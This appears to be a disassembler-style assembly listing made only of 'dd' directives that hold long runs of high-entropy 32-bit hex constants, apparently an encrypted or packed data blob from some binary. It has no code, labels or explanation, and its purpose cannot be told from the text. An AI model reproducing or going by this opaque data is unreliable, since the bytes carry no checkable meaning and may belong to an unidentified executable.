		dd 9BE4723Bh, 2D826D52h, 1AEE93FDh, 842E1B32h, 0E160AD8Fh
		dd 0F1915162h, 0CB50688Bh, 70A17181h, 0EBBC8DC5h, 0C9ED3682h
		dd 69FDEE7Eh, 0EC015CB3h, 0C47AC382h, 0B5C13178h, 33BD659Bh
		dd 9FCB9F8h, 9A49D26Fh,	0BCB967DBh, 0B864EA06h,	0D3AF0123h
		dd 0F6179902h, 148AA821h, 0BE63622h, 9F1108C7h,	0FF8E49D4h
		dd 9EA5CD7h, 9AABC06Dh,	9CC23F68h, 5B63A2F1h, 27B6AF0Ah
		dd 9F6DDC96h, 4F9C490Ah, 0C85BF0A4h, 3BABA83Fh,	999C55C1h
		dd 0D74CD558h, 2CC7AB50h, 0A4711085h, 0A9E16C4Dh, 21FBE272h
		dd 0C846F78Ah, 0BB7AED2Fh, 0B29CB97Eh, 0A1BAAE87h, 992A614Eh
		dd 86978DB0h, 193F7556h, 1C5E9FF6h, 26202954h, 89C28FB2h
		dd 0E39F468Ch, 8C9E3ABh, 29F502F9h, 0B039FD78h,	86532E3h
		dd 5C8197DEh, 49FC9B99h, 69172EEh, 3D3368E8h, 0C354E9A3h
		dd 0EE95264Bh, 0BBE74F16h, 2DB6F2A3h, 2634791Ah, 208B1E7Ch
		dd 377781Ah, 49BE2730h,	0CB38BD98h, 0ECBBF250h,	0F5164B0Ch
		dd 17DF53BEh, 5C8F2044h, 0A1234084h, 6387140Ch,	913914C4h
		dd 0BD87B550h, 2E010DE7h, 0AA0FCC41h, 96DE7E13h, 0FD470BEBh
		dd 0B223E511h, 2439FF89h, 6919D5A0h, 0CE383EC7h, 47A1B263h
		dd 0A4B16995h, 0CBFA72EBh, 0F409A6C1h, 0E8C13775h, 0B708ED4Dh
		dd 3F900DABh, 3F1DBAE2h, 0BCCA5703h, 729761A9h,	0B62C13D7h
		dd 9F20F903h, 5B95C0D1h, 0CF8AE35Ah, 71BD44Ch, 8E02B154h
		dd 81530A2Fh, 3B43C0B8h, 730FBDAFh, 6DCF0D75h, 0F7FE66FCh
		dd 12C98689h, 0E250909h, 98AF2AADh, 7D069DE7h, 0F79F1427h
		dd 9B4F865Ah, 3DADC1Ch,	6F7E1A3Dh, 3E206265h, 0A14CD48Bh
		dd 0F1092ADBh, 0D83BE525h, 0BEDEF318h, 0DD0ABB16h, 0E857FC57h
		dd 0ADDE8FFCh, 0B64B4935h, 69D6EC1Dh, 99326308h, 0ABE4CE60h
		dd 0E2C4C283h, 5D4336D7h, 4182711Bh, 5BF4AB0Eh,	3B75F8D9h
		dd 0CD1A8B7Ah, 82A9E426h, 0AC0381F6h, 0A08495E1h, 379AE007h
		dd 298E6865h, 3C817582h, 0C51583E0h, 818EAF28h,	83CA44ACh
		dd 0C24BA175h, 1845845Dh, 0E3AC46D7h, 7E258917h, 6F43EA45h
		dd 0C88CA071h, 6858AD64h, 7E551DACh, 8A3B80E9h,	0A77A1CD5h
		dd 84D46979h, 0FEBE8D27h, 9BFC5CA5h, 0DFD438FCh, 0DF11D136h
		dd 910C8DD0h, 3B24EED9h, 39D5CF15h, 751CCCF4h, 83E44BC0h
		dd 0A015CC29h, 9738A769h, 17FA24B0h, 1135D976h,	97CC621Bh
		dd 59B4A983h, 0B9BFD793h, 7C929354h, 6728C140h,	0C5FEEB38h
		dd 42656B0Dh, 222EB6FDh, 149786DDh, 1BE67D51h, 6B10CB7Ah
		dd 0F05D46A2h, 0C7DBE0B3h, 78C980DBh, 0B82520A8h, 9F165F5Fh
		dd 5025F471h, 0B6CE5207h, 713C0B3Bh, 0CD77EE94h, 0EB32FF69h
		dd 68F1AECFh, 8D0D22A1h, 0C7FF9FA0h, 0F0CC61EAh, 8394ED2Dh
		dd 0C85086DCh, 6ED9915Dh, 5CC82566h, 7310F61h, 8FBD7523h
		dd 6B16218Ah, 15E6CCC6h, 0EB2518E6h, 0AC371B32h, 79129A52h
		dd 19A1A742h, 0E281058Ah, 0A496D036h, 0B8CC300Fh, 6C639791h
		dd 0EAE4B8C8h, 9BDAE85Fh, 0EF70118Ch, 99F41DBBh, 0EE21BD42h
		dd 60FD2525h, 47C0F134h, 0F16FD6B5h, 0D5A5A617h, 0C6EA815Eh
		dd 0E16CB2D8h, 731CE95Dh, 0C61BD641h, 83015CC6h, 3A4B9586h
		dd 8189039Eh, 0E378EBB0h, 9E17FC69h, 0A82FA79Fh, 49A10873h
		dd 47D0C2A6h, 8AC11BD8h, 1C29F92h, 3058051h, 3E8199D0h
		dd 0FA6005A5h, 2CCFD376h, 0F62A72EBh, 95523B33h, 0F9D889FEh
		dd 13337FC3h, 3715CA80h, 7D98F586h, 0BE60AC6Fh,	1B173347h
		dd 0E592A7D2h, 5C834472h, 8DC5123h, 5C033270h, 56B4220h
		dd 0AD545AB7h, 6EBD4B47h, 0B46C3EDEh, 4698AEB2h, 628976DFh
		dd 0E73A49B8h, 3D0D5D06h, 0DFC4A60Eh, 2D8EE698h, 3A91F4FEh
		dd 0A5DDD7E1h, 0B3799F33h, 4990407Eh, 7AB7814Fh, 0E4DCE74h
		dd 1BC5C442h, 2AF9518Dh, 0C4313EF4h, 0BE9635F3h, 0D775A9C4h
		dd 2985A11Fh, 0EE739CEh, 902675Bh, 0D60F2F78h, 0EAC83F0Fh
		dd 3973FE8Ch, 1744C2A0h, 0C4F27072h, 0A6C77F8Eh, 297CA290h
		dd 0B82F1D67h, 8015552Ch, 0AA8ED94Dh, 0E4580D4Bh, 2263DBD1h
		dd 0E6145974h, 221265D0h, 92802DA2h, 9ECEE2A1h,	0EA64AACBh
		dd 8456AB6Ah, 0CC9AC2A1h, 8B1CC269h, 49BD7D1Ch,	0EAD1DD9Fh
		dd 8C4588FEh, 0F1646DF0h, 0B066B435h, 947096ACh, 0BA558017h
		dd 0F951677Fh, 0E3A1DE92h, 0B2B617Dh, 2FDDB768h, 3FC694B9h
		dd 8FC90A59h, 35AF3461h
		dd 37B47FE4h, 250B5EA1h, 45644E71h, 6B822040h, 3A869F7Dh
		dd 95D0FE00h, 0A48CA4AAh, 1B4ED732h, 43E1C015h,	370233B5h
		dd 0F8360AFFh, 4795430h, 0EE40DB46h, 0C5012CD5h, 0B424CA1Bh
		dd 9B933E9Eh, 0A0191436h, 27B8E24h, 0B4888DCDh,	7D583A8h
		dd 2FC5F332h, 94174604h, 0E04E4893h, 0DF8C7EC5h, 0B429E6A9h
		dd 3054BD54h, 0D5DB8BB4h, 9B40BA7Ah, 8B313A8Eh,	7236DCB7h
		dd 54BCCA14h, 0EB34759h, 8D43517Dh, 9C5BA4D4h, 711C4EFCh
		dd 0EDEAD9FCh, 0C6310D90h, 0D5CA8CECh, 6367626Bh, 54E8A95Eh
		dd 912F651Ah, 9A9187E4h, 56F43FEBh, 3B952807h, 1B133E5Ah
		dd 229994B6h, 0D0D5C62Eh, 457F7EA8h, 0FDECAC65h, 3F7E2288h
		dd 9D97C672h, 45B5267Fh, 6927273Ch, 3B859078h, 0EBF9A1E9h
		dd 0D98EBFA4h, 0C59362C6h, 7D3F6B2h, 0D1AA27A8h, 98592CEAh
		dd 0D49B816Dh, 43300D78h, 0D3805F2Dh, 0C7487E22h, 6663A20Dh
		dd 0E3D9E6E6h, 4AA7014Fh, 523E102h, 0B3622C8h, 1B72E4D1h
		dd 533CF01h, 0FECC67E4h, 0E30371C9h, 0C60FB911h, 0C305CAAFh
		dd 6A59D4F6h, 7C9CC97Dh, 80ED3746h, 0E46078B4h,	0E0708DC9h
		dd 87091CFAh, 687D9B00h, 0A8DF305Fh, 0B5BBEE67h, 9D61C3A0h
		dd 0A3936677h, 0EA82D2E6h, 0A0E3CC4Bh, 0BAEDC3A5h, 0CD24260Dh
		dd 0B7A38231h, 95B51822h, 51B6C98h, 8110F9CAh, 667C300Ch
		dd 324A9739h, 1B251013h, 234F7EA6h, 0CED65C3Ah,	80A5BF4Ah
		dd 0E9D547E5h, 69DF06Ah, 0D23245E9h, 0EECF230Ch, 0EA543F2Eh
		dd 139ADC01h, 6354DF5h,	9440835Eh, 8B545841h, 0FD7EC1DAh
		dd 0AED112DFh, 0C9132EA3h, 543EE493h, 1BED2A94h, 5997B939h
		dd 0DB92E7DAh, 0F721E6CAh, 7F229D1Fh, 0BDBA73E2h, 148D8E61h
		dd 42EE731Bh, 0DA8C3048h, 0AE5347F8h, 25EFD41Ch, 9C0EFAE3h
		dd 5AC293D3h, 3DF20ACh,	0F5B816A7h, 0A949DDFDh,	0D1662DAEh
		dd 7BCE585Ch, 452CD781h, 0C154E5Bh, 3CBE736Dh, 0D2AB970h
		dd 3E174166h, 6CCADFA8h, 73FFA066h, 449B1390h, 0BAEE9AEBh
		dd 0B4BD70F8h, 7D0BF97Ch, 284D87CAh, 6E3A85ACh,	4210E9C7h
		dd 0D012EC98h, 52DB5FC7h, 0F0FDB879h, 0F95FAA06h, 0DA218009h
		dd 9A0CB856h, 10C4D4A9h, 0A0B55BD9h, 0EBE182DBh, 0F4FBB564h
		dd 1217993Ch, 8994AA77h, 0ED46F700h, 0FB62262Fh, 0F855A07Ah
		dd 2A122091h, 4177CC97h, 7A1B7647h, 6C7EDF0h, 8FAD7AD3h
		dd 0E71C8B4Eh, 0CF305C82h, 0DBD53BCEh, 0BA74F414h, 0E58D4687h
		dd 0FCC84045h, 0D3CDD13Eh, 4A8C957Dh, 3263A08Dh, 0F2A476FFh
		dd 146123ECh, 8E43D2E5h, 3E280D6Fh, 79B47A34h, 204269DAh
		dd 2B25EDB9h, 0D2A49551h, 0B92DB530h, 82BCB0F1h, 9E060EDAh
		dd 49C85238h, 6F754298h, 0D5890806h, 0D23BAE77h, 0BC4B51F9h
		dd 0ADF0E945h, 0DD0F56ACh, 0B1A6C06h, 0A25D2E51h, 887DFCDEh
		dd 92C09528h, 0C779EA77h, 87DDE41h, 8E717B9Ah, 0FCE08562h
		dd 5F5FCE24h, 240D9E25h, 0FA646FFFh, 12A02E6Eh,	0C19DB273h
		dd 31F97A5h, 8B4DB1F7h,	37E01545h, 0C2EE73C8h, 34FFECBDh
		dd 85D4A363h, 5688102Dh, 8A6261B0h, 84F6933Ah, 4F25CC1Dh
		dd 975E8E56h, 0A16469F5h, 0A7C2211Eh, 0A7A4B9D1h, 41641015h
		dd 68557030h, 32AC47Fh,	0F0811D3Ch, 522285CBh, 4A6CFBB7h
		dd 311A5F76h, 1304CDD8h, 0EEE7A6DAh, 2367BF22h,	284ABB80h
		dd 5DED0BC1h, 5A39FC78h, 3BD36BFDh, 52E558A6h, 0D43409D6h
		dd 249D3A67h, 77E20756h, 1FE0CFEh, 1542802Fh, 62A18B38h
		dd 99A868B7h, 26F57126h, 0FE91F77Eh, 0EBDC9899h, 8661EADBh
		dd 91B82A3Ch, 757E3FCFh, 0A52B72DAh, 0AED992BFh, 7AC44526h
		dd 27D562A3h, 30E53EE3h, 7ECC64F1h, 0D778AFF6h,	3C0997C4h
		dd 7D735406h, 0EB1451CDh, 67BE9373h, 6B044768h,	36070F85h
		dd 7AD471BAh, 28D15975h, 30620E22h, 0EA7AF002h,	1E612887h
		dd 28E5AF5Dh, 13FF1905h, 0FA875553h, 6E21BCB3h,	3840F982h
		dd 99882C41h, 5F801F98h, 3381711Ah, 52E675CCh, 3A37A4B9h
		dd 0C776EF49h, 8E4FED6Ch, 0FCB3195h, 27754A63h,	826F833Dh
		dd 906C1BF9h, 0A1995903h, 691ED757h, 7D688610h,	9E67F99Ah
		dd 4A633E0Eh, 0B355941Bh, 7D835922h, 9819691Ah,	0A53050DBh
		dd 60CB731Fh, 0B55C0AB4h, 4D6353F8h, 7227F36Eh,	79D5780Ch
		dd 1E78F9DFh, 411EDF27h, 0B96285FCh, 856B1FCDh,	0D25F282Dh
		dd 0E4826E2Dh, 876E7C79h, 0BFB03DCCh, 1AA57DB9h, 66612F70h
		dd 9FD07DD4h, 1A57469Eh, 0BFECBB4Dh, 0F25775B8h, 2BDC892Ch
		dd 0F1527F3Ch, 0D131095h, 13ADF85h, 0C1CC58CCh,	362F978Fh
		dd 0DB866353h, 0C958426Bh, 37801168h, 67F09D76h, 79029720h
		dd 0A3D7CE20h, 6B22A27Fh, 0CEF582E3h, 1C673A18h, 1122AFB5h
		dd 2D64AEC7h, 0B223A778h, 0EE5E3FA1h, 0A77F3459h, 8233E247h
		dd 329980F3h, 17CEC752h, 6895CD96h, 0EF58252Eh,	9F42CC2Dh
		dd 7E3C8D89h, 27A0D0E7h, 0C9C6E0ADh, 0FBA3FBB4h, 2639CD66h
		dd 0C58C21F8h, 857C5972h, 5C866FBCh, 6A3BE435h,	14297EC1h
		dd 0CF359A7Bh, 0B1484CCCh, 5D85E631h, 11E6FF8Ch, 0B6E4CA74h
		dd 5B33E3CBh, 0D9742973h, 0F7BE1AE4h, 69DC2010h, 23D607E3h
		dd 503C4502h, 0B082D93Dh, 0CBA4818Dh, 0AF837F68h, 49848A89h
		dd 34C2FEADh, 8E52829Dh, 92BE7CC5h, 0A4D94A23h,	0BBEC7023h
		dd 0E6AFA85Ah, 0DE298A33h, 35866B42h, 0E6943514h, 0A679FBA3h
		dd 899EDF9Eh, 0F133B471h, 306DFD30h, 6DBC60C1h,	6C8EE83Dh
		dd 98424687h, 8F945E35h, 0B801096Eh, 233E4EF2h,	0EB48C576h
		dd 7EA74FE2h, 6F1C285h,	4B5FBFF4h, 89138A86h, 0EB2BC955h
		dd 0CDA86DD5h, 0C079EF08h, 89BAB66Bh, 0C9B23FA8h, 4C08F4EDh
		dd 97988D4Dh, 452FAADEh, 0D726D41Fh, 764F25C6h,	36F694E5h
		dd 572BF8EEh, 0E4253FC0h, 7FF571BAh, 62378D7Eh,	0CB76B8BBh
		dd 60B55FB3h, 0AD46DA2Bh, 8D5ED9D4h, 0BD0F3F2Ch, 3F35A108h
		dd 0C3A4C156h, 77C39178h, 3B64711Ah, 6F0B565Fh,	850FE3C8h
		dd 1C19D572h, 19F60A63h, 77E6DE17h, 548DE233h, 5E806DB3h
		dd 6FF96E03h, 9E9EA692h, 0E5A2152Eh, 968D4898h,	7A4F94C4h
		dd 0B085FC91h, 0AEC7BEEEh, 0AAE4D191h, 15837396h, 77BFF5A0h
		dd 9F1FF9E2h, 0B72D14DAh, 0EE86C0B2h, 9BDBE72Eh, 92B36182h
		dd 0A6B75FA9h, 0D3E0C2ABh, 68EFC512h, 33C06D98h, 0E996004h
		dd 2136C3D2h, 925372D8h, 0B44561DEh, 0E669830Ah, 0B2D3915Eh
		dd 61012E77h, 9527D2CCh, 0D25BFD08h, 253E472Dh,	508549F2h
		dd 56E0A911h, 0D9B901E0h, 0B1E0995Ch, 0A5F55802h, 3D7EAFE0h
		dd 0FE75F6F3h, 0EEA32ACFh, 59838EA8h, 4923FE54h, 8BD11C60h
		dd 0E43009D2h, 0E05AEB2Eh, 5F0CB61Bh, 0F0829A97h, 483A877Ch
		dd 0E2B48D21h, 2004F12Ch, 0EB6E34AAh, 0D5B17B78h, 7A8215Eh
		dd 27DD1EE9h, 0BE60219Eh, 0AA1B2071h, 0E6606109h, 72B9AD2Dh
		dd 312350C2h, 0C331BBA3h, 2D3EB38h, 0BE79E2C7h,	0D2BC75DCh
		dd 0C1DD8B63h, 70C3B56Ah, 73CAC6F4h, 758972h, 0AB89A3B3h
		dd 30AF234Ch, 51F45E24h, 7DE24DAFh, 0A8A7944Dh,	9E1BEF29h
		dd 53549A7Eh, 0D69850E3h, 0D2FFCAF4h, 7512EF7Eh, 0BEE16263h
		dd 1E130871h, 0A47E130Eh, 0E4F839Bh, 4DE831C2h,	3DEA336h
		dd 0DD4FF128h, 7EAEFB84h, 2B77F71Eh, 0A5A4BED5h, 1DF38E0h
		dd 73B13E0Eh, 45D13FDh,	3AED062Bh, 0F91FB001h, 12831847h
		dd 4F1BB015h, 6A0E4F0Eh, 4C3E5CEAh, 274D3976h, 0A83CC461h
		dd 0E71A9CC9h, 7B855DF6h
		dd 0CF0A70F2h, 0F93E8DA6h, 0B0A9E459h, 6CC3BCD9h, 0B7DC6923h
		dd 0FC99761Dh, 5C5D8E33h, 831E8C97h, 0C142F64h,	0B5020EE8h
		dd 571B2459h, 7504E88Ch, 151FAA2Ch, 0D1CA3358h,	42296D22h
		dd 800E79F0h, 0AB885623h, 0B667376Ch, 0E9B3CAE2h, 5C319F40h
		dd 0C2436C93h, 93B077D2h, 0D54A33C3h, 0FC1D047Bh, 5E0B9471h
		dd 0A0595CD6h, 74FEB2FCh, 6A6BC0D5h, 0B4E1E583h, 529BA3FAh
		dd 8C5FBFA3h, 0A52C383Eh, 8F110FCBh, 9A12DAD2h,	132AF4D9h
		dd 5EA98C02h, 60728F4h,	5616DB5Bh, 0CB8966B5h, 0D05226Bh
		dd 0DF57F0C5h, 0A43DFA6Bh, 66DC23DAh, 551C1BB6h, 160B111Eh
		dd 0C87DB680h, 0B2BBEF06h, 5FA8714Bh, 545229D6h, 0F30F2D7Dh
		dd 9940D47Eh, 0A6462FC6h, 91C60CD9h, 942D0143h,	2611E7DEh
		dd 9253EE9Eh, 5416229Eh, 0F03C60B5h, 7D59EF00h,	7025A2BEh
		dd 1ED71F2Ah, 9A3BB63Fh, 0C75CCB67h, 0B52CCF9Fh, 9A05807Ch
		dd 76B00DA7h, 0C0F27491h, 1C193E6Fh, 0AC20DC0h,	2272B597h
		dd 0A56D2E3Eh, 6E8E860h, 61B380D5h, 0C345EEA8h,	0CC45DEF1h
		dd 80C700F2h, 72DCF5BFh, 0C5101C81h, 1A710B00h,	38607A3Bh
		dd 0BD493965h, 7151895Eh, 3BF915FAh, 36350F5h, 3CC3F270h
		dd 5813C24Dh, 24BDD4EDh, 0E88D791Fh, 981B4A67h,	7F61EC1h
		dd 61CAFB5Ch, 4DE0B15Bh, 0CE89931Ch, 4385A4B2h,	63B948Dh
		dd 68D15409h, 0B58832D7h, 122F9360h, 0F6BBA4B5h, 51C1B00Dh
		dd 0DF0738E1h, 0C58C2412h, 69F06E62h, 8AC22EA3h, 0B6973183h
		dd 1263FEB2h, 8B0784E5h, 0A434594Bh, 6ABE0C3Ah,	0A2216383h
		dd 9CB8C7ECh, 403DC430h, 0C96BC865h, 0DEC8253Eh, 0FA3C35DCh
		dd 553ED83Ah, 0DC645C1Dh, 4904BF4Ah, 0AEA070C6h, 8C1B8D69h
		dd 5258FE6Dh, 14C3CD50h, 0AAC3F2D7h, 0D0B50250h, 56FB3F0Bh
		dd 3ADC16CEh, 0CA32B45h, 98A947FDh, 0C34CC08Eh,	0C3ED43F2h
		dd 30537AAh, 4D859BCFh,	671A2FB3h, 498E60BAh, 415A01ECh
		dd 85B5B54Ah, 68BA05C7h, 0F3F4D605h, 1D25856Fh,	2DEA92ECh
		dd 0BB380B4Ch, 0B8C35266h, 7DC5AAF2h, 323759AAh, 69064F63h
		dd 0BFBADE54h, 0EEF68F93h, 0A3A027A7h, 0CACF5611h, 59FFC2CAh
		dd 161754C4h, 53243E7Dh, 7EB72EE3h, 2E865F56h, 0D30EBDCDh
		dd 0FCA6D444h, 6993E39Dh, 0E4E10B26h, 609EDA28h, 0D199C312h
		dd 5E280D30h, 0ABA9B94Ch, 7F97AAFh, 0B50EA8E0h,	671494A3h
		dd 0F1CA4A4Dh, 0E29B132Fh, 95B9EECBh, 8E13C99Eh, 7C0420F1h
		dd 0C6BE73CEh, 0E21EE46Ch, 405FC774h, 67D84539h, 0DFF090B6h
		dd 0E7CB056Fh, 7DE4A123h, 0ADA8D2A0h, 219E1E64h, 0BC85A53Ch
		dd 9F9F84B4h, 17835300h, 0BE4A7FB4h, 5A83E036h,	0CBEA932Eh
		dd 1505A212h, 978320F9h, 1D8C4745h, 2CFC5210h, 0D78F5098h
		dd 22A6BB07h, 139BCC8h,	43FEF56Ah, 4FCA07D6h, 9791CB31h
		dd 1D598F36h, 0E473FB3Ah, 0A3D2669h, 0A38FB9A1h, 0A5A7901Dh
		dd 0EB74CC22h, 0DFA36B23h, 0A7820014h, 0CD6B28E9h, 126D5EA9h
		dd 0BEA58BF2h, 0FFB853B6h, 0C1955077h, 3D046519h, 0F764A766h
		dd 189A9313h, 16E792F3h, 4B35B915h, 98753FF6h, 0F5456A07h
		dd 7BB9BE9Fh, 2A1AA4A9h, 1DD57E06h, 99183BCh, 0E75DA5A9h
		dd 0FC23E546h, 6E03E2FEh, 0F7E89C95h, 44A2D79h,	0E6A0B21h
		dd 3218D198h, 0C4F2F0Eh, 0BF7FA118h, 884D3FD0h,	827BC52Ah
		dd 0BA977035h, 0EC8D9772h, 57C35803h, 35081AA9h, 245D28E4h
		dd 0C1382ACEh, 859E5F48h, 0AB94B97Ch, 0BBF509F6h, 8808F7ABh
		dd 1C6FB02Dh, 0CB6805C1h, 239670DDh, 0D2CB0AD0h, 0A5A9451Bh
		dd 29D9A34Ch, 0E9BA7FB4h, 37C56458h, 0E41FFE02h, 1CC2982Eh
		dd 5614FDC5h, 867FA2BBh, 5BB835Dh, 0ACE37A62h, 185A2B4Fh
		dd 0E354D818h, 14D1F972h, 29BA1313h, 5916B748h,	0EC1E1AAFh
		dd 8134CB8Eh, 85215F18h, 0E252CCC8h, 5391E1D8h,	0AC34868Ch
		dd 8FD5AD75h, 0E28D911h, 2F0A3936h, 468ADB64h, 0D49F1877h
		dd 8A71B035h, 95FA626Eh, 5BFC05FBh, 35D6DD58h, 0D56A1BBCh
		dd 0BA7A8B9Bh, 1B7B3108h, 0EA39FBB2h, 0AAE3BA12h, 74B0BFF9h
		dd 0DE733667h, 0ED44FE73h, 0C169C841h, 9EB14004h, 4B588081h
		dd 0C54B45D4h, 0E836CD05h, 44F22F21h, 9C7E2550h, 6F588958h
		dd 908F2B34h, 994275F4h, 917AB750h, 0DBA08371h,	516B5C02h
		dd 1685F353h, 0E640B716h, 1B0CD79Dh, 0E8855899h, 840314D3h
		dd 0A978B053h, 0C607CFE8h, 45079835h, 37A8698Bh, 0AB3332D8h
		dd 2BE2AFF0h, 8C8E8F19h, 4A178469h, 8F65ED31h, 0B4F174BFh
		dd 378831FBh, 5495B64Bh, 595E630Ah, 0F2833E68h,	0D1FAAF06h
		dd 0B14677F7h, 76EA8DA1h, 4F8225CBh, 24F44DFAh,	0C9E3EC35h
		dd 0A5124204h, 0ADC60E0Fh, 0F8F2B960h, 276E3C5Dh, 0CCD4F188h
		dd 0DF266E28h, 0B1AFC421h, 0B3A2FCFEh, 74191376h, 606B0CEBh
		dd 0ADFADC8h, 2F6B3B4Ah, 5C2CCFB0h, 60707DC7h, 0F1FF7DE3h
		dd 0F50EA7C8h, 0E7D04E0Fh, 644B8162h, 16E1495Ch, 1D1AC576h
		dd 98CA9740h, 77D02F47h, 0B06494CBh, 0F4078D9h,	0F19F42B0h
		dd 0C1E4CFF2h, 0EB68D647h, 0AFC7BA74h, 5A9F567Bh, 0DD19E297h
		dd 5B70FEFFh, 0BE2AA7F1h, 0FE22FBD2h, 0B4AEAF12h, 9218B367h
		dd 0DC907E52h, 6E912383h, 35103D93h, 40207049h,	0D60F349Bh
		dd 44040621h, 0B19FFEDFh, 0F144BE64h, 647DB578h, 126B239Dh
		dd 0F48D7CCAh, 0CE2D4AD7h, 9EA69174h, 0F46F88CEh, 0A3212CD8h
		dd 17131D8h, 36ED5049h,	73BC637Fh, 7204D405h, 0AE70409h
		dd 16A747DAh, 9086EE94h, 0EC87A4F9h, 0E2B2709h,	28C6412Ah
		dd 59BE588Dh, 0CE5FBAD2h, 0CAE935D1h, 0CE9BFE07h, 0E58D56CEh
		dd 848ECFFAh, 0FC403FFFh, 0B0C7C233h, 4323E3E9h, 74C6F94Ah
		dd 8094BEF7h, 0C4220928h, 22BEF61Fh, 138A64Fh, 6A006B23h
		dd 0FAB71623h, 55E80945h, 5DD5A183h, 0CF1AE5A1h, 977B991Bh
		dd 51D8A1D9h, 0F62134DDh, 0B049BA1Ah, 53A33A7Fh, 846D0667h
		dd 783B72DFh, 0E8625A83h, 0C36F7CF4h, 83A1E53Fh, 0DA5D2D28h
		dd 8F32B392h, 102EBDABh, 0E3D7977Eh, 70FBA2F7h,	4FFD00EDh
		dd 0FF7F97BFh, 780AFC14h, 0EB1E0AAEh, 3015C618h, 0E133AB6Ah
		dd 45A3EAA4h, 211B4ADEh, 0CE11F270h, 78F7ADC4h,	34FEA2ABh
		dd 1FDA7413h, 8CCFC617h, 291EAEE0h, 222745DDh, 0F39E5829h
		dd 0EFB2C461h, 0F21FBCF3h, 31E230CEh, 943B5B54h, 7C46EF3Fh
		dd 0EFE5FA6h, 5B994FEAh, 3DB087A8h, 8088FD43h, 0D0FFBF37h
		dd 8ADA8B85h, 7530DD03h, 0E05CC639h, 2ADA868h, 0BD0ABF93h
		dd 0ED611080h, 0D64E9F21h, 0E3895F97h, 2F098817h, 0DA7C14E9h
		dd 36E14E13h, 2E17D663h, 17FB70EBh, 71BDA50Ch, 53FA8316h
		dd 43C4B7A3h, 34E8E3B8h, 121E30D1h, 0CF65C81Ch,	2E9B693Fh
		dd 71F14D08h, 904495C4h, 5EF1B9C5h, 88855CC0h, 0A5928CFBh
		dd 0E9F45750h, 0FDB327D3h, 87DC4A4Fh, 0C9DC695Fh, 10A2064Fh
		dd 60252C8Ch, 0F1DC2DCDh, 24368B52h, 1800AAEAh,	0A57CD81Ch
		dd 523E4658h, 516873F2h, 8CC25D8Ah, 791D97B0h, 4EAB6339h
		dd 379830Dh, 0A62CC4D3h, 1D7A828Eh, 0CD6D02D5h,	20F89955h
		dd 0A46EC6AAh, 0C455B22Ah, 11782D5Ch, 0A79471FBh, 3AE45CCEh
		dd 2BE376DEh, 130EB3D2h, 0BB9E23B2h, 4AD2C81h, 8690B826h
		dd 64EB517Dh, 21925532h, 124F1C68h, 0C233AD7Dh,	0AB8496E8h
		dd 94495384h, 0D524C18Eh, 8B019B54h, 6813984Fh,	0F217332Ch
		dd 0AFD2B03Fh, 48090FEDh, 346E2377h, 0DBA27472h, 8764F889h
		dd 6550F505h, 0AA5D3ED9h
		dd 4847FCC5h, 0E8CDCA97h, 0ADB1E92h, 80451E85h,	0E2178FA1h
		dd 5136DB4h, 35E4BD89h,	1F81C296h, 71147437h, 9EC09C19h
		dd 0B140E2B1h, 618421F0h, 7EEC4ADDh, 0FACF31C4h, 0C64DF00Fh
		dd 0D6A7DC44h, 0CEE4758Ah, 62798CF9h, 0AA0EA062h, 140245DEh
		dd 75AC71EDh, 2F72FF43h, 53EC9A87h, 8A975A1Fh, 89350055h
		dd 63F6F9C8h, 0A0088293h, 0ED5714BFh, 820F2A15h, 0E94A7BF2h
		dd 494C2DABh, 218F1958h, 5E47B1F0h, 2C3BB342h, 93D3D75Eh
		dd 0A453DB47h, 0C64E777Fh, 0DD1DE190h, 0F9A98337h, 63A466E9h
		dd 781A845Fh, 0D49644BDh, 1A45462Fh, 0CE17E9C6h, 0AE4933Ah
		dd 0F5674648h, 38A8F358h, 6E6F46A2h, 26D82CE4h,	98463091h
		dd 0E40AD111h, 607C16DFh, 0DC875049h, 0B5867F7Eh, 1310D415h
		dd 15DAA5B6h, 0FC82EB73h, 9F4246DFh, 0CA57FD85h, 0AA77F638h
		dd 8E4E353Dh, 2B10BECFh, 449B084Ah, 7CC1992h, 55EB1A2Dh
		dd 0A0C7902Bh, 986DEA51h, 464BDC37h, 29C7148Eh,	0E16F4710h
		dd 0D61E2834h, 343EF8A7h, 0C0DF82B3h, 0A65D8227h, 3A47556Dh
		dd 28B15CE5h, 630DFC4h,	0ADA8254Eh, 8F620C86h, 0D77EFC27h
		dd 71C28E30h, 0A2ED7C8Ch, 9C07DD19h, 1246FB49h,	0FA8F4A18h
		dd 0C95B655Bh, 0B49E410Fh, 0E123ED75h, 0E34546D4h, 82CBBE32h
		dd 79F69DAh, 438AFE3h, 843F0A97h, 0C94B6B8Bh, 5E266C29h
		dd 0AAEC3028h, 2F0F4AFCh, 0E224F112h, 945DA5E7h, 5FCED64Fh
		dd 5038251h, 7B0DEAB7h,	0E3E9F06Ah, 7976E2D6h, 0C6D3C268h
		dd 86A8B106h, 9C288F7Fh, 8726AB41h, 9F84CF01h, 8879A213h
		dd 0A66C54Eh, 0C438A174h, 86D6DB99h, 1776262Eh,	0A2CCC15Fh
		dd 0FA233984h, 0F3F5FE60h, 0BF7A4A3Fh, 679CD13Eh, 6524A968h
		dd 8C9506F0h, 3CA28190h, 38A550D8h, 0D93A9313h,	0C5065672h
		dd 7D9DCB49h, 0FDA6FBA4h, 33C36A34h, 0C9863CF0h, 0E6A0A935h
		dd 49E9773Fh, 0CC8823BCh, 839A1C2Ah, 0C09A95Eh,	0D06508ACh
		dd 5C2ADD76h, 0BCBF86Eh, 0CE1AD270h, 9935C46Ah,	379F5EF4h
		dd 7B2BF780h, 0F8BC58EDh, 0CAAF45F0h, 991D7553h, 8C001Dh
		dd 0F3B2B673h, 5266A84Fh, 5CEAA406h, 0C78F56DEh, 0D647EDADh
		dd 4F08850Dh, 0D7D0A139h, 0F97A343Ah, 7FEA904Dh, 0EE830BD9h
		dd 3E6290EAh, 0B765D092h, 0DC7E29D7h, 983E3C21h, 33A32FEBh
		dd 81B088EEh, 85200182h, 0E9CA0E37h, 98B36534h,	6C7832E0h
		dd 0D3297C72h, 0BD51C973h, 0C7F29620h, 0A15DE4A8h, 835CC98Ah
		dd 9A6FC8AAh, 12D2D01Bh, 0ECA6A4B4h, 0DF5A0046h, 6118387Fh
		dd 5B2AAAAFh, 99D5621Ah, 8402DFA6h, 0F0AB4B0Fh,	0D77C7A43h
		dd 8C3A474Fh, 0F3A62C94h, 0F6310360h, 2B89E1Dh,	212EF5ACh
		dd 9B5F1609h, 43B8BA6Ch, 0A3B7FF0h, 839D0CC9h, 0E754ECD3h
